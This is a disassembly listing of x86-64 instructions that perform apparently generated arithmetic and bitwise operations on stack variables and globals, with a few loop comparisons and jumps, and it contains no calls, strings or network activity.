mov byte [rsp + 0x32], al
movsx eax, word [rsp + 0x84c]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
movsx eax, byte [rsp + 0x38]
movsx ecx, byte [0x140113002]
add eax, ecx
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a5c]
mov ecx, dword [rsp + 0x2a98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b20]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c00]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bb0]
mov ecx, dword [rsp + 0x2a4c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x30]
sub eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x34], al
movzx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
or eax, ecx
mov word [section..data], ax
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0x844]
shl eax, cl
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
movsx eax, word [rsp + 0x860]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x840], ax
mov eax, dword [rsp + 0x299c]
add eax, 0x1b
mov dword [rsp + 0x299c], eax
movzx eax, byte [rsp + 0x33]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4bf8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4cb8], rax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
cmp dword [rsp + 0x299c], 0x75e0
jbe 0x140009bdd
mov rax, qword [rsp + 0x4d58]
mov ecx, dword [rsp + 0x29bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32]
add eax, ecx
mov byte [rsp + 0x39], al
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
add eax, ecx
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
and eax, ecx
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a88]
mov rcx, qword [rsp + 0x4b08]
mov qword [rsp + 0x4e10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e10]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bd0]
mov qword [rsp + 0x4e18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e18]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e08], rax
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
add eax, ecx
mov word [rsp + 0x85c], ax
movsx eax, word [0x140113004]
movsx ecx, word [rsp + 0x858]
add eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
add eax, ecx
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39]
sub eax, ecx
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x4c00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4c58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov eax, dword [rsp + 0x2ac0]
add eax, 0x83
mov dword [rsp + 0x2ac0], eax
mov rax, qword [rsp + 0x4c60]
mov rcx, qword [rsp + 0x4d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29f0], eax
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39], al
movsx eax, word [rsp + 0x860]
movsx ecx, word [rsp + 0x850]
add eax, ecx
mov word [0x140113004], ax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32]
shl eax, cl
mov byte [rsp + 0x37], al
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x854]
sar eax, cl
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a98]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ce8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x33], al
movsx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
cmp dword [rsp + 0x2ac0], 0xa8ee
jbe 0x140009f07
lea rax, [rsp + 0x858]
mov qword [rsp + 0x4e20], rax
cmp dword [rsp + 0x2a34], 0x995b
jb 0x14000a747
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x840]
sub eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4cb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4db8]
mov rcx, qword [rsp + 0x4c00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ba0], rax
mov eax, dword [rsp + 0x29d8]
mov rcx, qword [rsp + 0x4d60]
mov qword [rsp + 0x4e28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e28]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4d60]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a3c]
mov ecx, dword [rsp + 0x2a20]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x32]
shl eax, cl
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4db8]
or rcx, rax
mov rax, rcx
mov qword [0x140113008], rax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
movzx eax, word [rsp + 0x854]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x35]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e00]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4c58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b80], rax
mov rax, qword [rsp + 0x4d58]
mov rcx, qword [rsp + 0x4c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x4d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2958]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bd0]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4cd0], rax
movzx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movsx eax, word [rsp + 0x850]
movsx ecx, word [0x140113004]
add eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x38]
sar eax, cl
mov byte [rsp + 0x39], al
movzx eax, byte [rsp + 0x31]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x33], al
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e08], rax
mov rax, qword [rsp + 0x4cd0]
movzx ecx, al
mov rax, qword [0x140113008]
shl rax, cl
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d60]
mov rcx, qword [rsp + 0x4b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29d8], eax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movsx eax, word [rsp + 0x850]
movsx ecx, word [rsp + 0x858]
sub eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
movzx eax, byte [rsp + 0x36]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x32]
sub eax, ecx
mov byte [rsp + 0x39], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov word [rsp + 0x85c], ax
mov eax, dword [rsp + 0x2a34]
sub eax, 0xb8
mov dword [rsp + 0x2a34], eax
mov rax, qword [rsp + 0x4bb0]
mov rcx, qword [rsp + 0x4b88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4da0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cb8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4d60]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2958], eax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
sar eax, cl
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
or eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [0x140113004]
shl eax, cl
mov rcx, qword [0x140114158]
mov word [rcx], ax
jmp 0x14000a309
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x860]
and eax, ecx
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x33]
movzx edx, byte [rsp + 0x34]
add ecx, edx
cmp eax, ecx
jl 0x1400f8138
lea rax, [rsp + 0x34]
mov qword [rsp + 0x4e30], rax
lea rax, [rsp + 0x84c]
mov qword [rsp + 0x4e38], rax
mov eax, dword [rsp + 0x29d8]
mov ecx, dword [rsp + 0x2a88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c00]
mov qword [rsp + 0x4e40], rax
mov eax, dword [rsp + 0x2a20]
mov ecx, dword [rsp + 0x29f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b78], rax
movzx eax, word [rsp + 0x850]
mov word [rsp + 0x868], ax
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x854], ax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x3a], al
movsx eax, byte [rsp + 0x38]
movsx ecx, byte [0x140113002]
add eax, ecx
mov byte [rsp + 0x39], al
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
add eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
lea rax, [rsp + 0x2a5c]
mov qword [rsp + 0x4e48], rax
mov rax, qword [rsp + 0x4ba0]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4db8], rax
mov rax, qword [rsp + 0x4e08]
mov qword [rsp + 0x4e50], rax
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35]
add eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
movzx eax, byte [rsp + 0x30]
mov byte [0x140114154], al
lea rax, [rsp + 0x840]
mov qword [rsp + 0x4e58], rax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [0x140113010]
and eax, ecx
mov rcx, qword [rsp + 0x4de0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c08]
movzx eax, byte [rax]
mov byte [rsp + 0x3b], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x2a88]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2a98], eax
mov rax, qword [rsp + 0x4ce8]
mov qword [rsp + 0x4e60], rax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4d58]
mov qword [rsp + 0x4e68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e68]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4d58]
mov dword [rcx], eax
lea rax, [0x140114160]
mov qword [rsp + 0x4e70], rax
lea rax, [rsp + 0x3b]
mov qword [0x140114168], rax
mov rax, qword [rsp + 0x4e38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x858], ax
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x3c], al
movsx eax, byte [0x140113002]
movsx ecx, byte [rsp + 0x38]
add eax, ecx
mov byte [rsp + 0x39], al
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x850]
sub eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b20]
mov qword [rsp + 0x4e78], rax
mov rax, qword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x4c00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e40], rax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a20], eax
lea rax, [rsp + 0x864]
mov qword [0x140114170], rax
movsx eax, byte [rsp + 0x39]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3b], al
lea rax, [rsp + 0x850]
mov qword [rsp + 0x4e80], rax
movzx eax, byte [rsp + 0x3a]
movzx ecx, byte [rsp + 0x34]
sub eax, ecx
mov byte [rsp + 0x33], al
lea rax, [rsp + 0x864]
mov qword [rsp + 0x4e88], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4b80]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e50], rax
mov rax, qword [rsp + 0x4cd0]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a3c]
mov dword [rsp + 0x2ae4], eax
mov eax, dword [rsp + 0x2a5c]
mov ecx, dword [rsp + 0x29d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
movzx eax, byte [rsp + 0x3a]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113003], al
mov rax, qword [rsp + 0x4e80]
movzx eax, word [rax]
mov word [rsp + 0x86c], ax
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov rcx, qword [rsp + 0x4de0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4e00]
mov byte [rcx], al
movzx eax, byte [rsp + 0x3b]
mov byte [rsp + 0x3d], al
mov eax, dword [0x140114150]
mov rcx, qword [rsp + 0x4d58]
mov qword [rsp + 0x4e90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
lea rax, [rsp + 0x4b28]
mov qword [rsp + 0x4e98], rax
mov eax, dword [rsp + 0x2ae0]
mov rcx, qword [rsp + 0x4dd8]
mov qword [rsp + 0x4ea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ea0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4e48]
mov dword [rcx], eax
lea rax, [rsp + 0x4e08]
mov qword [rsp + 0x4ea8], rax
movsx eax, word [rsp + 0x860]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140113014], ax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x85c]
and eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x34]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x3d]
mov byte [rsp + 0x3e], al
movzx eax, byte [rsp + 0x3a]
movzx ecx, byte [rsp + 0x33]
sub eax, ecx
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x2ae4]
mov dword [rsp + 0x2ae8], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4e08]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4e78], rax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4e48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2958], eax
mov rax, qword [rsp + 0x4d68]
mov rax, qword [rax]
mov qword [rsp + 0x4eb0], rax
lea rax, [rsp + 0x3d]
mov qword [0x140114178], rax
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
add eax, ecx
mov rcx, qword [rsp + 0x4de0]
mov word [rcx], ax
lea rax, [rsp + 0x868]
mov qword [rsp + 0x4eb8], rax
mov rax, qword [0x140114158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x858]
add eax, ecx
mov word [rsp + 0x868], ax
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x85c], ax
mov eax, dword [rsp + 0x2ae8]
mov dword [rsp + 0x2aec], eax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4bf8], rax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov dword [rsp + 0x2af0], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4db8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4c00], rax
mov rax, qword [0x140114168]
movzx eax, byte [rax]
mov byte [0x140114155], al
lea rax, [rsp + 0x858]
mov qword [rsp + 0x4ec0], rax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x31]
or eax, ecx
mov byte [rsp + 0x35], al
movzx eax, byte [rsp + 0x33]
movzx ecx, byte [0x140113003]
sar eax, cl
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c70]
movzx eax, byte [rax]
mov byte [rsp + 0x3f], al
mov eax, dword [rsp + 0x2ae8]
movzx ecx, al
mov eax, dword [rsp + 0x29bc]
shl eax, cl
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
mov qword [rsp + 0x4ec8], rax
mov eax, dword [rsp + 0x2a98]
mov ecx, dword [rsp + 0x2a88]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4bd0]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
lea rax, [rsp + 0x86c]
mov qword [0x140114180], rax
lea rax, [rsp + 0x33]
mov qword [rsp + 0x4ed0], rax
movsx eax, byte [rsp + 0x3d]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
movzx eax, word [rsp + 0x854]
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x4e48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4c00]
mov qword [rsp + 0x4ed8], rax
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4da0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4b20], rax
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x4ee0], rax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [0x140114154]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140113018], ax
movzx eax, byte [rsp + 0x3a]
movzx ecx, byte [rsp + 0x3c]
sub eax, ecx
mov byte [rsp + 0x31], al
mov rax, qword [0x140114170]
movzx eax, word [rax]
mov word [rsp + 0x874], ax
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x850]
sub eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
lea rax, [rsp + 0x2a3c]
mov qword [rsp + 0x4ee8], rax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4ec8]
shl rax, cl
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x4bd0]
mov rcx, qword [rsp + 0x4ed8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4c00], rax
movzx eax, byte [rsp + 0x3c]
movzx ecx, byte [0x140113003]
sar eax, cl
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
lea rax, [rsp + 0x848]
mov qword [0x140114188], rax
lea rax, [rsp + 0x86c]
mov qword [rsp + 0x4ef0], rax
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
xor eax, ecx
mov word [rsp + 0x854], ax
movzx eax, byte [rsp + 0x3e]
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a4c], eax
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2ae0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a5c], eax
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
mov qword [rsp + 0x4ef8], rax
mov rax, qword [rsp + 0x4da0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e50], rax
movzx eax, byte [rsp + 0x3c]
mov byte [rsp + 0x41], al
lea rax, [0x140113002]
mov qword [0x140114190], rax
movzx eax, byte [rsp + 0x36]
movzx ecx, byte [rsp + 0x41]
add eax, ecx
